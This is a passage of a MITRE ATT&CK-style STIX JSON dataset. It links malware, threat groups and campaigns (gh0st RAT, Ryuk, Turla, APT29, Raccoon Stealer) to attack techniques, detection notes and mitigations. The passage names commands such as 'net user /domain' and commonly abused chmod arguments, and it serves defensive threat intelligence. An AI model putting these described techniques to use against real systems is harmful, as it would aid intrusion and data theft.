after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68852bf2-c3cf-4d59-b1c1-f6af8fb61be6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Hacking Team","description":"FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016.","url":"https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html"},{"description":"Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.","url":"https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/","source_name":"Nccgroup Gh0st April 2018"}],"modified":"2021-03-29T19:49:11.265Z","description":"[gh0st RAT](https://attack.mitre.org/software/S0032) is able to open a remote shell to execute commands.(Citation: FireEye Hacking Team)(Citation: Nccgroup Gh0st April 2018)","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--68876423-7dbc-4f68-9b2b-848184338395","created":"2024-09-06T21:46:38.214Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T21:46:38.214Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has targeted IP ranges for vulnerability scanning related to government and critical infrastructure organizations.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68896b85-a0ed-4b99-a776-dbdd3092ac07","type":"relationship","created":"2021-08-02T15:43:04.398Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T13:54:53.437Z","description":"[EnvyScout](https://attack.mitre.org/software/S0634) can deobfuscate and write malicious ISO files to disk.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--688a4ea0-c9ff-4bb1-a6ab-fc565cea1461","created":"2024-08-01T22:12:36.644Z","revoked":false,"external_references":[{"source_name":"Sekoia Raccoon2 2022","description":"Pierre Le Bourhis, Quentin Bourgue, & Sekoia TDR. (2022, June 29). Raccoon Stealer v2 - Part 2: In-depth analysis. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/"},{"source_name":"S2W Racoon 2022","description":"S2W TALON. (2022, June 16). Raccoon Stealer is Back with a New Version. Retrieved August 1, 2024.","url":"https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-01T22:12:36.644Z","description":"[Raccoon Stealer](https://attack.mitre.org/software/S1148) downloads various library files enabling interaction with various data stores and structures to facilitate follow-on information theft.(Citation: S2W Racoon 2022)(Citation: Sekoia Raccoon2 2022)","relationship_type":"uses","source_ref":"malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--688b7c25-8c01-4893-a184-47564a79c96b","type":"relationship","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.854Z","description":"Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include chmod +x, chmod -R 755, and chmod 777.(Citation: 20 macOS Common Tools and Techniques)","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"20 macOS Common Tools and Techniques","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--688ff9e6-5482-4019-b092-9e831bbac490","type":"relationship","created":"2020-06-11T16:18:16.732Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.403Z","description":"[Avenger](https://attack.mitre.org/software/S0473) has the ability to use HTTP in communication with C2.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--36ede314-7db4-4d09-b53d-81bbfbe5f6f8","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--689042a3-f33e-47aa-b544-a3d823f71c1c","created":"2022-03-30T14:26:51.838Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\nNormal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.","modified":"2022-04-14T15:34:11.764Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--8c826308-2760-492f-9e36-4f0f7e23bcac","target_ref":"attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68949ed4-db1b-40bb-b2ca-1a91d2739295","type":"relationship","created":"2019-06-20T14:46:03.508Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Harmj0y Domain Trusts","url":"https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944","description":"Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019."}],"modified":"2020-09-17T18:26:17.835Z","description":"Employ network segmentation for sensitive domains.(Citation: Harmj0y Domain Trusts).","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--68953f34-79e2-482a-bc9a-dbe11c2839ae","created":"2021-01-22T16:51:10.389Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.421Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has staged stolen data locally on compromised hosts.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6895e54e-3968-41a9-9013-a082cd46fa44","created":"2020-05-14T14:40:26.221Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Red Canary Hospital Thwarted Ryuk October 2020","description":"Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.","url":"https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/"},{"source_name":"DHS/CISA Ransomware Targeting Healthcare October 2020","description":"DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-302a"},{"source_name":"CrowdStrike Ryuk January 2019","description":"Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.","url":"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/"},{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"},{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"},{"source_name":"CrowdStrike Wizard Spider October 2020","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/"},{"source_name":"Sophos New Ryuk Attack October 2020","description":"Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They’re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020.","url":"https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"},{"source_name":"DFIR Ryuk 2 Hour Speed Run November 2020","description":"The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.","url":"https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/"},{"source_name":"DFIR Ryuk in 5 Hours October 2020","description":"The DFIR Report. (2020, October 18). Ryuk in 5 Hours. Retrieved October 19, 2020.","url":"https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/"},{"source_name":"DFIR Ryuk's Return October 2020","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020.","url":"https://thedfirreport.com/2020/10/08/ryuks-return/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-04T20:04:07.781Z","description":"(Citation: CrowdStrike Ryuk January 2019)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)(Citation: DFIR Ryuk in 5 Hours October 2020)(Citation: Sophos New Ryuk Attack October 2020)(Citation: CrowdStrike Wizard Spider October 2020)(Citation: Mandiant FIN12 Oct 2021)(Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--689b0bff-7eb4-4678-997b-64794c56add0","type":"relationship","created":"2020-09-22T20:17:38.809Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks REvil September 2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."},{"source_name":"Secureworks GandCrab and REvil September 2019","url":"https://www.secureworks.com/blog/revil-the-gandcrab-connection","description":"Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020."},{"source_name":"Secureworks GOLD SOUTHFIELD","url":"https://www.secureworks.com/research/threat-profiles/gold-southfield","description":"Secureworks. (n.d.). GOLD SOUTHFIELD. Retrieved October 6, 2020."}],"modified":"2020-10-06T15:32:20.360Z","description":"[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) has distributed ransomware by backdooring software installers via a strategic web compromise of the site hosting Italian WinRAR.(Citation: Secureworks REvil September 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Secureworks GOLD SOUTHFIELD)","relationship_type":"uses","source_ref":"intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133","target_ref":"attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--689c51b8-7e41-474e-abf6-ffdde0acc40b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-17T14:56:44.509Z","description":"[SPACESHIP](https://attack.mitre.org/software/S0035) achieves persistence by creating a shortcut in the current user's Startup folder.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--8b880b41-5139-4807-baa9-309690218719","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--689d5a99-cfcf-43d6-ae55-9bf920986f63","type":"relationship","created":"2020-06-29T02:52:31.569Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}],"modified":"2020-06-29T02:52:31.569Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used net user /domain to enumerate domain accounts.(Citation: ESET ComRAT May 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68a15e63-2f89-4828-8be3-4494d7ff36e3","type":"relationship","created":"2022-03-22T20:09:04.729Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes RokRAT VBA January 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/","description":"Jazi, Hossein. (2021, January 6). Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat. Retrieved March 22, 2022."}],"modified":"2022-03-22T20:09:04.729Z","description":"[ROKRAT](https://attack.mitre.org/software/S0240) has used Visual Basic for execution.(Citation: Malwarebytes RokRAT VBA January 2021)","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68a528b5-ddc5-431a-9d63-eb2a6ce03559","type":"relationship","created":"2020-03-10T18:31:00.596Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-10T18:31:00.596Z","relationship_type":"revoked-by","source_ref":"attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee","target_ref":"attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--68a91212-caee-45f3-ba09-95ed43f80af6","created":"2020-03-17T02:54:27.343Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Zebrocy May 2019","description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/"},{"source_name":"ESET Zebrocy Nov 2018","description":"ESET. (2018, November 20). Sednit: What’s going on with Zebrocy?. Retrieved February 12, 2019.","url":"https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/"},{"source_name":"Unit42 Cannon Nov 2018","description":"Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/"},{"source_name":"Unit42 Sofacy Dec 2018","description":"Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group’s Global Campaign. Retrieved April 19, 2019.","url":"https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/"},{"source_name":"Palo Alto Sofacy 06-2018","description":"Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T16:29:09.978Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) uses SMTP and POP3 for C2.(Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: ESET Zebrocy May 2019)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68a9519f-c65a-451e-9126-5946ac6844c6","type":"relationship","created":"2021-09-08T17:56:27.018Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender FIN8 July 2021","url":"https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation","description":"Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021."}],"modified":"2021-10-12T21:31:07.827Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has used sslip.io, a free IP to domain mapping service that also makes SSL certificate generation easier for traffic encryption, as part of their command and control.(Citation: Bitdefender FIN8 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68ab9dc7-4258-439c-b011-945175476fb7","type":"relationship","created":"2020-05-06T21:01:23.649Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.649Z","description":"[Attor](https://attack.mitre.org/software/S0438) has a plugin that collects information about inserted storage devices, modems, and phone devices.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68ac384d-a975-4ebe-8db3-5b4edf6d924d","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Monitor for additions of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry.","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68ad793a-2678-4537-8480-8086fd4d757e","type":"relationship","created":"2020-08-04T13:26:34.212Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"AWS - IAM Console Best Practices","url":"https://aws.amazon.com/blogs/security/newly-updated-features-in-the-aws-iam-console-help-you-adhere-to-iam-best-practices/","description":"Moncur, Rob. (2020, July 5). New Information in the AWS IAM Console Helps You Follow IAM Best Practices. Retrieved August 4, 2020."}],"modified":"2022-04-01T15:20:43.110Z","description":"Use multi-factor authentication for cloud accounts, especially privileged accounts. This can be implemented in a variety of forms (e.g. hardware, virtual, SMS), and can also be audited using administrative reporting features.(Citation: AWS - IAM Console Best Practices)","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--68b067cc-813f-4205-9de7-a8d6e4c8dd20","created":"2021-01-27T21:40:23.466Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET EvilNum July 2020","description":"Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021.","url":"https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:40:20.366Z","description":"[More_eggs](https://attack.mitre.org/software/S0284)'s payload has been encrypted with a key that has the hostname and processor family information appended to the end.(Citation: ESET EvilNum July 2020)","relationship_type":"uses","source_ref":"malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--68b21708-d862-42ba-8067-7fdca0bd1455","created":"2023-03-26T20:41:09.037Z","revoked":false,"external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:41:09.037Z","description":"For the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) conducted credential theft operations to obtain credentials to be used for access to victim environments.(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--68b29908-fcbc-464a-b9ed-63ef522bfe81","created":"2022-09-29T16:45:12.929Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar 